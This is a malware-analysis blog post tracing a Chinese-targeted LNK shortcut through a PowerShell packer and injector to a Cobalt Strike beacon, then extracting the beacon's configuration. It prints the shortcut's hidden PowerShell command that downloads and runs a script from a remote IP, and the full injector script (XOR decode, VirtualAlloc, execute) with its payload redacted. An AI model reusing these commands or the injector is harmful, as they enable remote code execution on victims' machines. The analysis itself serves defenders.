LNK forensic and config extraction of a cobalt strike beacon

malcat.fr/blog/lnk-forensic-and-config-extraction-of-a-cobalt-strike-beacon/

Sample:

21286ed0b3e56f49c287617ee5bf4ef687c627e342d72297008e3fce73a5ae20.lnk (<u>Bazaar, VT</u>)

Infection chain:

.Ink shortcut (downloader) -> Powershell packer -> Gzip archive -> Powershell injector -> Cobalt Strike

Tools used:

<u>Malcat</u>

Difficulty:

Very easy

A suspicious link

The downloader

The file we are about to dissect today is a .lnk shortcut found on <u>MalwareBazaar</u>. The shortcut is a pretty straightforward powershell downloader, executing a remote powershell script located at <u>hxxp://120.48.85.228:80/favicon</u>.

Nopriétés de : 21286ed	l0b3e56f49c287617ee	e5bf4ef687c627e342d72297	008e3fce ×
Sécurité	Détails	Versions préc	identes
Général Raccourci	Options Police	Configuration Couleur	s Terminal
2	21286ed0b3e56f49c2	87617ee5bf4ef687c627e342d	2297008e3fce
Type de cible :	Application		
Emplacement :	v1.0		
Cible :	owershell.exe -nop -	-w hidden -c "IEX ((new-objec	t net.webclien
Démarrer dans :	E:\downloads		
Touche de raccourci :	Aucun		
Exécuter :	Fenêtre normale		~
Commentaire :			
Emplacement du fichie	er Changer d'icô	ne Avancé	
	_		
		OK Annuler	Appliquer

Figure 1: The shortcut file and its execution

As a malware analyst, I would usually fetch the remote file and then move on to the next stage. But something was odd with this file. Usually, links to PE programs have their "Relative Path" string property set, at least that's what I am used to. But in this shortcut, the string property is absent:

► Report			
ShellLinkHeader			
LinkFlags:	EnableTargetMetadata	(80000) + IsUnicode(80) + HasA	rguments(20) + HasWorkingDir(10) + HasLinkInfo(2) + HasLinkTargetIDList(1)
FileSize:	452608 bytes	Write time:	2022-06-12 14:46
Creation time:	2022-06-12 14:46	Access time:	2022-06-30 04:21
File attributes:	Archive(20)		
Icon index:	0	Show command:	SW_SHOWNORMAL(1)
LinkInfo			
Drive Type:	DRIVE FIXED(3)	Drive Serial Number:	BA2E9690
LocalBasePath:	C:\Windows\System32\	WindowsPowerShell\v1.0\powersh	ell.exe
LinkTarget			
Link Target:	C:\Windows\System32\	WindowsPowerShell\v1.0\powersh	ell.exe
Strings			
NameString:		Empty ?!?	
RelativePath			
WorkingDir:	E:\downloads		
CommandLineArguments:	-nop -w hidden -c "I	EX ((new-object net.webclient)	.downloadstring('http://120.48.85.228:80/favicon'))"
Tconlocation:			

Figure 2: Missing 'RelativePath' property

Chances are that the malicious link was not originally pointing to a PE program. The threat actor linked to another type of file, and then modified manually the link target to **powershell.exe** when tailoring its attack. It's odd, thus *interesting*. People in DFIR are aware that windows shortcut files can actually provide much more information than what is displayed in the properties dialog. So let us dive a bit with Malcat and see if we can dig up some extra information on this weird shortcut file.

Guessing the original linked file name

The first step would be to check online intelligence for the original submission name of the file. Usually, the name of a .lnk file is the same as the name of the targeted file, only the extension differ (e.g program.lnk points to program.exe).

DETECT	ION	DETAILS	RELATIONS	BEHAVIOR	
Basic Prope	erties				
MD5 e SHA-1 b SHA-256 2 Vhash 2 SSDEEP 7 Filetype 1 Magic 1 File size 1	e3f890 ba5fcb 21286e 285fe8 24:8Gp T18F3 ⁻ Windov MS Wir Windov 1.53 KB	49dc5f0065ee4d dbd5b71bfc52b8 ddb3e56f49c287 da2bc3ee8054e9 FGZR4o2loKfWC FG2105F5461DD vs shortcut adows shortcut vs Shortcut (1009 3 (1563 bytes)	780f8aef9c04 a824bd40c547a722 f617ee5bf4ef687c6 ia7ba383c3589 XaARWy6yjT1tuqsn i4EB0A396837B341 %)	23260 27e342d72297008 nbHnUJm8gQHll:80 9A32BE84E61152[e3fce73a5ae20 3SH4o2XCZ13mYHI/HI JS25A0B44E5CA6714F8F8I
History (i)					
Creation Tim First Submiss Last Submiss Last Analysis	e sion sion	2022-06-12 14:4 2022-07-01 02:5 2022-07-01 02:5 2022-07-11 03:3	6:28 UTC 3:40 UTC 3:40 UTC 3:16 UTC		
Names ①				sub	mission nam
8gds58mcb.o 附件:安全自	dll 1査工具	Į.lnk		-	

Figure 3: Submission name on VirusTotal

In VirusTotal, we can see that the file was submitted as 附件:安全自查工具.lnk which is Chinese for: Attachment:Security Self-Check Tool.lnk . This sounds more like a click-bait name than a standard file name. Chances are that the shortcut file name was modified post-creation. We only learn that the targeted victim is most likely Chinese-speaking.

Lucky for us, most .lnk files have an ExtraData section which is a collection of structures storing additional information about the linked file. These structures are filled during the shortcut creation, and are usually not updated when the file is modified using Window's properties dialog. The one we are particularly interested in is the structure named PropertyStoreDataBlock . In Malcat, switch to the structure view (F2 F2) and jump to offset 0x540 (Ctrl+G, 0x540):



Figure 4: PropetyStoreDataBlock structure in the ExtraData section

And .. jackpot. We can see that the property ParsingPath in one of the PropertyStorage structures holds what is most likely the original file path of the target of the shortcut. The .lnk files pointed to E:\downloads\附件1:如何在个税APP上完成汇算清 缴?.pdf which is chinese for E:\downloads\Attachment 1: How to complete the settlement and payment on the IIT APP? .pdf (a chinese tax-related pdf). So mystery solved. The link was indeed pointing originally to a PDF document and was modified to point to powershell.exe afterwards. This explains the lack of RelativePath String member in the shortcut.

Getting to know the attacker

Knowing the original file name of the link target is great for pivoting. But can we learn more information about the attacker? Well, the structure **PropertyStoreDataBlock** gives us three more valuable informations about him:

- System.DateCreated : the linked file E:\downloads\Attachment 1: How to complete the settlement and payment on the IIT APP? .pdf was most likely downloaded the 30th of June.
- System.ItemTypeText : this is the mime type of the linked program. Microsoft Edge PDF Document tells us that PDF files were associated to the Edge browser on the attacker's computer. Which kind of madman does this? Well someone on a fresh computer who does not have another browser or adobe reader installed for instance.

• FolderPath : the original file was downloaded into E:\下载 (E:\downloads in Chinese). So the user of the computer is also most likely Chinese-speaking.

Can we go further? We Could inspect the LinkInfo structure. It does indeed validates that the shortcut points to the program powershell.exe. But it also contains a property named DriveSerialNumber which is pretty interesting for forensic investigations. It is the serial number of the hard disk storing the linked program at the time of its last modification. So basically, that's the serial number of the hard disk of the threat actor.

	• LinkInfo:	
header #0000025b:	LinkInfoSize:	0x68
header #0000025f:	LinkInfoHeaderSize:	0x1c
header #00000263:	Flags:	VolumeIDAndLocalBasePath(1)
header #00000267:	VolumeIDOffset:	#0x25b + 0x1c
header #0000026b:	LocalBasePathOffset:	#0x25b + 0x2d
header #0000026f:	CommonNetworkRelativeLinkOffset:	#0x25b + 0x0
header #00000273:	CommonPathSuffixOffset:	$\#0x25b + 0x\frac{7}{10}$
	• VolumeId:	
header #00000277:	VolumeIDSize:	0x11
header #0000027b:	DriveType:	DRIVE_FIXED (0x3)
header #0000027f:	DriveSerialNumber:	0xba2e9690
header #00000283:	VolumeLabelOffset:	#0x277 + 0x10
header #00000287:	Data:	
header #00000288:	LocalBasePath:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
header #000002c2:	Padding:	

Figure 5: The LinkInfo structure

And if you think that having the drive serial number is neat, what until you see the TrackerDataBlock structure. It contains the computer name of the attacker's computer (desktop-31400cr) and two very interesting structure members: Droid and DroidBirth . DROID stands for Digital Record Object Identification and uniquely identifies a file. These identifiers are made of a pair of two GUIDs. And very interestingly, the last 8 digit numbers of the second GUIDs are actually the attacker's MAC address.

TrackerDataBlock		0x000003d7	ExtraDat 0000003b3:	SpecialFolderID:	0x25
TrackerDataBlock			ExtraDat 0000003b7:	Offset:	0xdd
				• KnownFolderDataBlock:	
BlockSize	mac ad	dress	ExtraDat 000003bb:	BlockSize:	0x1c
BlockClass	TrackerData	0.000	ExtraDat 0000003bf:	BlockClass:	KnownFolderDataBlock)a000000b)
Length	0x58		ExtraDat 0000003c3:	Folder:	System (1AC14E77-02E7-4E5D-B744-2EB1AE5198B7)
Version	0×0		ExtraDat 0000003d3:	Offset:	Øxdd
MachineID	desktop-31400cr			TrackerDataBlock:	
- Droid		<u> </u>	ExtraDat 0000003d7:	BlockSize:	0×60
David[0]	10004000 0530 4040 0300 44	00000000	ExtraDat 000003db:	BlockClass:	TrackerData (0xa0000003) 🚽 COMPULET NAME
DF010[0]	18CDA080-9529-4849-8588-44	154 1500 / 010	ExtraDat 000003df:	Length:	Aves and an and a
Droid[1]	A6C9F7BC-F819-11EC-B143 00	95056C00008		Version:	
DroidBirth		ExtraDat 000003e7:	MachineID:	"desktop-31400cr"	
DroidBirth[0]	DroidBirth[0] 18CDA0B0-9529-4B49-B3BB-AA54930676E8			Droid:	á=↑)òIK ╕¬Tô♠vÞª ╔°↓°ý∢ C PV└ ▫
DroidBirth[1]] A6C9F7BC-F819-11EC-B143-00	05056C00008	ExtraDat 000000417:	DroidBirth:	á=↑)òIK ╗-Tô♠vÞ ^J ,╔ª↓°ý∢ C PV└ ▫

Figure 6: The TrackerDataBlock structure

A quick google lookup tells us that 00:50:56:C0:00:08 is associated to vmware network interfaces.

So in a few minutes, we've learned a lot of information:

- The attacker is most likely Chinese-speaking and targets a Chinese-speaking victim
- The attacker's is using a Vmware virtual named desktop-31400cr and its mac address is 00:50:56:C0:00:08
- On the 30th of June 2022, the attacker downloaded a file named Attachment 1: How to complete the settlement and payment on the IIT APP? .pdf using his Edge browser
- The attacker then changed the link target (most likely manually using Window's properties dialog) to powershell.exe -nop -w hidden ...

• The attacker changed the link name to Attachment:Security Self-Check Tool.lnk

In conclusion, never underestimate a Windows shortcut file. Now let use have a look at the next stage of the attack.

Second stage: powershell packer + injector

The packer

The file downloaded by the powershell command is located at hxxp://120.48.85.228:80/favicon . It is a 190KB powershell script of sha256 4109d17d439e425d24e9d11956adcc63ff8e24ccfffe21dd8c5431fe969d2783 (Bazaar, VT).



Figure 7: Unpacking the payload string

The script is composed at 99% of a base64-encoded string. So let use Malcat's transform on this string (select the string and then **Ctrl+T**) and chose *base64 decode -> New file*. The decoded string appears to be a GZip archive. Double click on *packed content* in Malcat's Virtual File System tab and you will display the unpacked gzip archive.

The injector

The file inside the GZip archive is a 275Kb ps1 script of sha256 b154b7681167bd4a61c54b543126f31d0ecca4c71846d5fe35a677c908fae3d1 . It contains a huge base64 payload stored in the powershell variable **\$var_code** . The script itself is a simple injector performing the following steps:

- Base64-decode content of \$var_code ([System.Convert]::FromBase64String)
- Xor the decoded content using the value 35 as key (\$var_code[\$x] = \$var_code[\$x] -bxor 35)
- Obtain the address of the api VirtualAlloc
- Allocate enough space for the decrypted content using VirtualAlloc
- Copy the decrypted bytes to the allocated buffer
- Run the assembly (i.e. the PE file) loaded at this address
 (\$var_runme.Invoke([IntPtr]::Zero))

The full code of the script is given below:

```
Set-StrictMode -Version 2
function func_get_proc_address {
    Param ($var_module, $var_procedure)
    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-
Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')
}).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]]
@('System.Runtime.InteropServices.HandleRef', 'string'))
    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-
Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr),
($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null,
@($var_module))), $var_procedure))
}
function func_get_delegate_type {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )
    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object
System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModu
$false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard,
$var_parameters).SetImplementationFlags('Runtime, Managed')
    $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual',
$var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
    return $var_type_builder.CreateType()
}
[Byte[]]$var_code = [System.Convert]::FromBase64String('<redacted>')
for ($x = 0; $x -lt $var_code.Count; $x++) {
    $var_code[$x] = $var_code[$x] -bxor 35
}
$var_va =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc
kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32],
[UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer,
$var_code.length)
$var_runme =
```

[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(\$var_buffer,

(func_get_delegate_type @([IntPtr]) ([Void])))
\$var_runme.Invoke([IntPtr]::Zero)

Nothing fancy there. Decrypting the payload using Malcat is a piece of cake:

- In Data view, select the base64 string
- Transform (Ctrl+T) the selection: base64 decode -> new file
- Select all bytes of the new file (Ctrl+A)
- Transform (Ctrl+T) the selection: xor decode (35) -> new file

👹 Malcat Profestional - <content></content>	- 0	×
Eile <u>E</u> dit <u>A</u> nalysis <u>V</u> iew Help		
[] files (0 + 0)	Ink dided1 ► base64 decode at i#3c+#2fa2c1 ► <content></content>	•
Name Size → ∲ Virtual File System → ♀ Carved Files	<pre>[000000000: Set-StrictMode -Version 20\$DoIt = @'Dfunction func_get_proc_address {DoParam (\$var_module, \$var [000000060: _procedure)ocD\$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() Where- [000000060: Object {ClobalAssemblyCache -And \$.Location.Split('\')[-1].Equals('System.dl1') }).GetType [000000120: ('Microsoft.Win32.UnsafeNativeMethods')Do\$var_gpa = \$var_unsafe_native_methods.GetMethod('GetPro [000000180: cAddress', [Type]]] @('System.Runtime.InteropServices.HandleReff', 'string'))Doreturn \$var_gpa.In [000000180: voke(\$null, @([System.Runtime.InteropServices.HandleReff](New-Object System.Runtime.InteropServic [000000240: es.HandleRef((New-Object IntPtr), (\$var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invo</pre>	
n data (0 + 0 + 0)	<pre>@0000002a0: ke(\$null,@(\$var_module)))), \$var_procedure)]) of function func_get_delegate_type {@oParam (@oo[P @00000300: argmeter(Position = 0 Mondatory = Strue)] [Jyar promoter Doo[Parameter(Position = 1)]</pre>	
 > for Structures → Gonstants → Math Search result 	<pre>[000000056: IType] Svar_returr_type = [Void] [0] Itype_builder = [AppDomain]::CurrentDomain.DefineDyna [0000000360: micAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection [0000000420: .Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', \$false).DefineType('MyD [0000004400: ype_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.MulticastDelegate])[Osvar_t [0000000540: entions]::Standard, \$var_parameters).SetImplementationFlags('Runtime, Managed')[Osvar_type_build [000000540: entions]::Standard, \$var_parameters).SetImplementationFlags('Runtime, Managed')[Osvar_type_build [000000540: entions]::Standard, \$var_parameters).SetImplementationFlags('Runtime, Managed')[Osvar_type_build [000000540: entions]::Standard, \$var_parameters).SetImplementationFlags('Runtime, Managed')[Osvar_type_build [000000540: entions]::Standard, \$var_parameters).SetImplementationFlags('Runtime, Managed')[Osvar_type_build</pre>	
<i>f(x)</i> code (0)	000000600: rs).SetImplementationFlags('Runtime, Managed') Toreturn \$var_type_builder.CreateType()] Toreturn \$var_type_builder.CreateType()] Toreturn \$var_type_builder.CreateType()]	
Name Size	<pre>Intering in the intering intering</pre>	
	0000000c60 djiyomitisdjuriverkijomiti mote mote mote mote mote mote mote mote	

Figure 8: Decrypting the injector's payload Let us have a look at the decrypted PE file.

Third stage: Cobalt Strike beacon

What we are looking at now is a 205KB PE file of sha256

bb26724c27361a5881ebf646166423b9668fd4089cf50e4e493641d471d30fa9 (VT). Since the file is pretty small and not obfuscated, we are most likely facing the last stage of the infection chain. So first thing first, let us have a look at the summary view (**F1**) in Malcat:

<pre>(148K8)</pre>	.text						
<pre>> Signatures > Check online intelligence > Signatures > Signatures > Signatures > Check online intelligence</pre>	(148KB)	 Metadata Compile date: Exports: Module name: Exports date: 	2021-03-02 12:20:46 beacon.dll 2021-03-02 12:20:45	"beacon.dll"			
Suspect Odd Other .rdata (39KB) DownloadUsingPowershell DownloadUsingWininet MSVC_2008_linker .rdata .reloc ReflectiveLoader ElevatePrivileges MSVC_2008_rich .reloc Legend: Odd NSVC_2008_rich R . Hdr decrypts stuff? M . Code Anomalit • Run CAPA RN . Data code: XorInLoop(30), StackArrayInitialisationX86(2), Spaghettifunction(5), SequentialFunction(3), HighXrefLoopingFunction(4) Imports: PossiblePackerAploynamicImport, DownloaderAplusage(6), CryptoAplusage(2) integrity: NoChecksum RNX Rsrc sectionMSt/Virtual shellcode-related		► Signatures				► Check online int	elligence
.rdata (39KB) .rdata (39KB) .rdata .rdata .reloc Legend: R . Hdr Odecrypts stuff? N		Suspe	ect	Odd		Other	
.rdata (39KB) .rdata (39KB) .rdata .rdata .reloc Legend: R reloc Legend: Anomali .reloc R reloc R reloc R reloc R reloc Code reloc reloc reloc R reloc		network		network	compiler		
(39KB) evaluation ReflectiveLoader EleverePrivileges data reloc Legend: downloader R deta data deta deta deta	.rdata	DownloadUsingPowershell		DownloadUsingWininet MSVC_2008_lin		inker	
.data .reloc Legend: R Hdr Odecrypts stuff? N Code • Anomali • Run CAPA RW Data code: XorInLoop(30), StackArrayInitialisationX86(2), SpaghettiFunction(5), SequentialFunction(3), HighXrefLoopingFunction(4) imports: PossiblePackerApiUsage(6), CryptoApiUsage(2) integrity: NoCheckum sections: SectionMostlyVirtual strings: DynamicDllstring,	(39KB)	ReflectiveLoader		Eleva tePrivileges			-
Legend: R . Hdr decrypts stuff? W . Code Anomali R . A	.data .reloc		d	lownloader			
R Hdr decrypts stuff? W Code - Anomali # RW Data code: XorInLoop(30), StackArrayInitialisationX86(2), SpaghettiFunction(5), SequentialFunction(3), HighXrefLoopingFunction(4) RX Index imports: PossiblePackerApiUsage(5), CryptoApiUsage(2) RWX Rsrc sections: SectionMostlyVirtual sections: DynamicDllstring, interview Shellcode-related	Legend:						
W Code • Anomalic • Run CAPA # RW Data code: XorInLoop(30), StackArrayInitialisationX86(2), SpaghettiFunction(5), SequentialFunction(3), HighXrefLoopingFunction(4) mports: possiblePackerApiDynamicImport, DowNoaderApiUsage(6), CryptoApiUsage(2) integrity: NoChecksum sections: SectionMostlyVirtual strings: DynamicDllString, Crist(5)	R Hdr	decrypts stuff?					
Image: RW Data code: XorInLoop(30), StackArrayInitialisationX86(2), SpaghettiFunction(5), SequentialFunction(3), HighXrefLoopingFunction(4) RX Index imports: PossiblePackerApiDynamicImport, DownloaderApiUsage(6), CryptoApiUsage(2) RXX Rsrc sections: SectionMostlyVirtual strings: DynamicDllString, Control (S) ShellCode-related	W Code	e ► Anomali				•	Run CAPA
RX Index integrity: NoChecksum sections: SectionMostlyVirtual RWX Rsrc strings: DynamicDllString Shellcode-related	🗰 RW 🛛 Data	<pre>code: XorInLoop(30), St imports: PossiblePacker</pre>	ackArrayInitialisation ApiDynamicImport, Down	<pre>X86(2), SpaghettiFunction(5), Sequential LoaderApiUsage(6), CryptoApiUsage(2)</pre>	Function(3), HighXre	fLoopingFunction(4)	
STERICOUE-TETALEO	RX Inde	ex integrity: NoChecksum sections: SectionMostly	Virtual				
		 strings: DynamicDllStri 	ng	shelicoue-related			

Figure 9: Third stage

By just looking at the summary, we can infer that:

- The file is not packed (low entropy overall)
- The export name (beacon.dll) is pretty interesting
- It seems to be able to download stuff
- It seems to be able to decrypt stuff.

A first wild guess would be that it's a Cobalt Strike or meterpreter beacon. A quick look at the threat intelligence report (**Ctrl+I**) confirms that we are indeed looking at a Cobalt Strike beacon:

Intelligence source	Level	Signature
V 🖸 HybridAnalysis		•
CrowdStrike Falcon Static Analysis (ML)	MALICIOUS	100% matching
Metadefender	MALICIOUS	65% matching
VirusTotal	MALICIOUS	70% matching
✓ X JoeSandbox [NOT FOUND]		
V X MWDB [NOT FOUND]		
∽ 🗙 MalwareBazaar [NOT FOUND]		
∽ 📀 VirusTotal		
ALYac	MALICIOUS	Generic.Exploit.Shellcode.2.303E41BD
APEX	MALICIOUS	Malicious
AVG	MALICIOUS	Win32:Agent-BCWB [Trj]
Acronis	MALICIOUS	suspicious
Ad-Aware	MALICIOUS	Generic.Exploit.Shellcode.2.303E41BD
AhnLab-V3	MALICIOUS	Trojan/Win.CobaltStrike.R417512
Antiy-AVL	MALICIOUS	Trojan/Generic.ASMalwS.7868
Arcabit	MALICIOUS	Generic.Exploit.Shellcode.2.303E41BD
Avast	MALICIOUS	Win32:Agent-BCWB [Trj]
Avira	MALICIOUS	TR/Spy.Gen
BitDefender	MALICIOUS	Generic.Exploit.Shellcode.2.303E41BD
BitDefenderTheta	MALICIOUS	Al:Packer.309A9AA01D
CAT-QuickHeal	MALICIOUS	PUA.CobaltstrikeRI.S20403470
ClamAV	MALICIOUS	Win.Trojan.CobaltStrike-8091534-0
CrowdStrike	MALICIOUS	win/malicious_confidence_100% (W)
Cylance	MALICIOUS	Unsafe
Cynet	MALICIOUS	Malicious (score: 100)
Cyren	MALICIOUS	W32/Agent.CAI.gen!Eldorado
DrWeb	MALICIOUS	DLOADER.Trojan
ESET-NOD32	MALICIOUS	a variant of Win32/CobaltStrike.Beacon.A
Elastic	MALICIOUS	Windows.Trojan.CobaltStrike

Figure 10: Querying threat intelligence

Cobalt Strike is a red team penetration test tool which is also used a lot by threat actors. We won't analyze it in details since a lot of in-depth analyses can already be found online:

- <u>https://www.mandiant.com/resources/defining-cobalt-strike-components</u>
- <u>https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/</u>
- <u>https://blog.talosintelligence.com/2020/09/coverage-strikes-back-cobalt-strike-paper.html</u>
- <u>https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf</u>

But what we will do is extract the configuration data from the beacon program. Cobalt Strike is a very flexible piece of software driven by its configuration file. This configuration comes as a serialized structure stored inside the .data section of the beacon. So let us try to extract it using existing tools.

When tools fail

Cobalt Strike is pretty old and widespread, so it should not be a surprise that many tools have been designed for it. We will first use SentinelOne's <u>CobalStrikeParser</u> to extract the configuration from the third-stage beacon.

```
malcat@XPS:~/malware/bazaar/cobalt$ python parse_beacon_config.py
./beacon
[-] Failed to find any beacon configuration
```

No luck this time. We could also try a more up-to-date tool, Didier Steven's <u>1768.py</u>, which seems to support a broader variety of beacons:

malcat@XPS:~/malware/bazaar/cobalt\$ python 1768.py ./beacon File: ./beacon payloadType: 0x10014fc2 payloadSize: 0x00000000 intxorkey: 0x00000000 id2: 0x0000000 Skipping 32 bytes payloadType: 0x0000003 payloadSize: 0x00000002 intxorkey: 0x00000004 id2: 0x0000018 MZ header not found, truncated dump: 00000000: 01 00

Again, no luck on this sample. Somehow, it could not infer the encryption key of the configuration structure. Our last shot is to try to locate and decrypt the structure manually. By chance, Malcat embeds a Cobalt Strike config parser. So after decryption, the structure will be automatically parsed.

Manually extracting the configuration

In order to locate the config, we could reverse engineer the code of the program. But that would take time, so let us focus on the data instead. We know that Cobalt Strike sotres its configuration in the .data section. This section is relatively small (~ 8KB on disk) so it should be easy to spot. We should look for:

- An encrypted block of data of a few hundred bytes
- With a code reference decrypting it

• That starts with 00 01 00 01 00 02 00 when decrypted (that is the serialized form of the BeaconType config value, all configs start with this)

We don't have to look for long to find our first candidate at address 0x10032020. This check all the boxes:

Cross-references 0x10032020	.data 010031f80:	78 00 00 00 97 00 00 00 B5 00 00 D4 00 00 00-F3 00 00 00 11 01 00 00 30 01 00 00 4E 01 00 00	xùÁȼ 🕫 00 NG 🕌
▼ Code references (3)	.data#010031fa0:	6D 01 00 00 FF FF FF FF 1E 00 00 00 3A 00 00 -59 00 00 00 77 00 00 00 96 00 00 B4 00 00 00	m@ 🔺 : Y w û 🕇 🚍
<pre>o 0x10009fcd (sub 10009f9e+2f)</pre>	.data 010031fc0:	D3 00 00 00 F2 00 00 00 10 01 00 00 2F 01 00 00-4D 01 00 00 6C 01 00 00 01 00 00 01 00 00 00	Ë _ +0 /0 M0 10 0 0 🗮
L xor byte ptr [eax+0x10032020], 0xE9	.data 010031fe0:	01 00 00 00 01 00 00 00 01 00 00 00 01 00 00	0 0 0 0 äÈ0+ Þ¶0+P 📕
0 0x10009fe5 (sub 10009f9e+47)		78 00 00 00 5E 01 00 00 90 01 00 00 58 F4 02 10-FF FF	x ^@ É@ X¶⊕∙
L push 0x10032020	.data 010032020.	E9 E8 E9 E8 E9 EB E9 E1 E9 EB E9 E8 E9 EB E8 52-E9 EA E9 EB E9 ED E9 E9 03 89 E9 ED E9 EB E9 ED	ÚÞÚÞÚÙÚßÚÙÚÞÚÙÞRÚŮÚÚÚÚÚÚÚÍ €ÚÝÚÙÚÝ
0 0x1000a0af (sub 10009f9e+111)	.data 010032040:	TRA	Ú∵ÚÚÚýÚÞÚÙÚÚÚ°ÚÛÞÚ [↓] hv [↓] õ´Ó¦oío∗õÞ 🧮
ush 0x10032020	.data 010032060:	E8 E8 EC E9 EA 68 64 E9 D9 68 60 EB 68 68 E9 40-C5 15 7A FD 1D 9E 87 EE CF 9B A6 5A E4 0C 07 78	ÞÞýÚÛhdÚ ^J h`ÙhhÚ@ ∞z²⇔×c°¤øªZõ ♀ ∗x [⊟]
	.data 010032080:	BE C7 6E F9 E3 95 40 03 0F 51 C3 FD 3D 98 22 F0-ED A2 6E 49 69 36 70 1B FA 4D 1C A6 CB AF 17 4B	¥Ãn¨Òò@♥oQ -²=ÿ"-ÝónIi6p+·M∟²∓»≇K ■
	.data 0100320a0:	5C DF 2B 6D 3B 56 6A 12 5D 48 2F 6E A8 06 AE 9F-93 3C A7 19 83 A6 A7 B9 61 26 F0 15 3E 93 1E EB	\■+m;Vj‡]H/n; +«fô<º↓⪺@a&-∞>ô+Ù
	.data 0100320c0:	71 A5 78 F7 24 C5 19 A8 FB A0 44 69 68 4D A9 A1-01 F7 AB 86 8F FD C9 85 3B 3A C9 38 DA 73 D9 9D	qÑ{,\$+↓; aDihM®i@,%åÅ ra;: r8 rs Ø
	.data 0100320e0:	0A 7F 5B 95 F4 6B 8A 7D DA 89 F3 33 05 F1 38 EB-EA E8 E9 E8 E9	🗖ດ[ò]kè} - ¼3+±8ὑΰϷύϷύὑὑὑὑὑὑὑὑὑὑὑ
	.data 010032100:	E9 E	ບົບບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່
	.data 010032120:	E9 E	
	.data 010032140:	E9 E	ÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÍ

Figure 11: Start candidate of encrypted config In order to validate our assumption, let's decrypt this configuration:

- Select 0x1000 bytes starting from address 0x10032020
- Transform (Ctrl+T) the selection using a xor 0xe9 in a new file
- Malcat opens the result and identifies it as a Cobal Strike configuration

You can see these three steps in action below:

I Malcat Professional - D:\malware\demo\cobalt\beacon					-	
File Edit Analysis View Help						
floc (0 + 0)						
	beacon) 🗉 🚧 😢 🕷 💷 😫 💻 A	
Name Size	.data 010031f60:	00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	_		^
🗸 🔩 Virtual File System	.data 010031+70:	FF FF FF FF 1E 00 00 00 1	3B 00 00 00 5A 00 00 00	• ; Z		=
✓ ↓ Carved Files	.data 010031+80:	78 00 00 00 97 00 00 00 0	35 00 00 00 04 00 00 00	X U A E		
	.data 010051790:	CD 01 00 00 11 01 00 00 1	E 00 00 00 4E 01 00 00	% 4 ⊌ 0⊎ 1\⊎		=
	data 010031fb0:	59 00 00 00 77 00 00 00	A A A A A A A A A A A A A A A A A A A	v w û -		-
	data 010031fc0:	D3 00 00 00 F2 00 00 00 1	0 01 00 00 25 01 00 00	F		_
A	.data 010031fd0:	4D 01 00 00 6C 01 00 00	0 00 00 00 01 00 00 00	Ma 1a a a		
stata (24 + 56 + 0)	.data 010031fe0:	01 00 00 00 01 00 00 00	0 00 00 00 01 00 00 00	0 0 0 0		
✓ ∲ Structures ^	.data 010031ff0:	84 D4 02 10 00 00 00 00 E	8 F4 02 10 50 00 00 00	äÈ⊕∙ Þ¶⊕⊦P		=
MZ	.data 010032000:	78 00 00 00 5E 01 00 00 s	0 01 00 00 58 F4 02 10	x ^© É© X¶ 0 ⊦		
Rich	.data 010032010:	FE FF FF FF FF FF FF FF	F FF FF FF FF FF FF FF			
PE	.data 010032020:	E9 E8 E9 E8 E9 EB E9 E1 E	9 EB E9 E8 E9 EB E8 52	ÚÞÚÞÚÙÚßÚÙÚÞÚÙÞR		
OptionalHeader	.data 010032030:	E9 EA E9 EB E9 ED E9 E9 6	33 89 E9 ED E9 EB E9 ED	ÚÜÜÜÜÝÜÜ♥ëŬŶŨÜÜŶ		-
Sections	.data 010032040:	E9 F9 E9 E9 E9 EC E9 E8 E	9 EB E9 E9 E9 EE E9 EA	U"UUUýUÞUUUUU-UU		
V LoadConfigurationTable	.data 010032050:	E8 E9 D9 68 76 D9 E4 EF E	0 C3 6F A1 6F 1E E4 E8	ÞU hv õ O¦oío∗õÞ		
f(x) code (950)	.data 010032060:	E8 E8 EC E9 EA 68 64 E9 L	J9 68 60 EB 68 68 E9 40	PPyUUndu-n Unnu@		
Name Size o	.data 010032070:		F 96 A6 5A E4 0C 07 78	T∞z ↔xc µφ=20¥ x		
fr) sub 10001000 146	data 010032080.	ED A2 6E 49 69 26 79 18 1	A AD 1C AG CR AG 17 AR	¥An Oolevoor =y = VónTi£n⇔ Mia=» ‡K		_
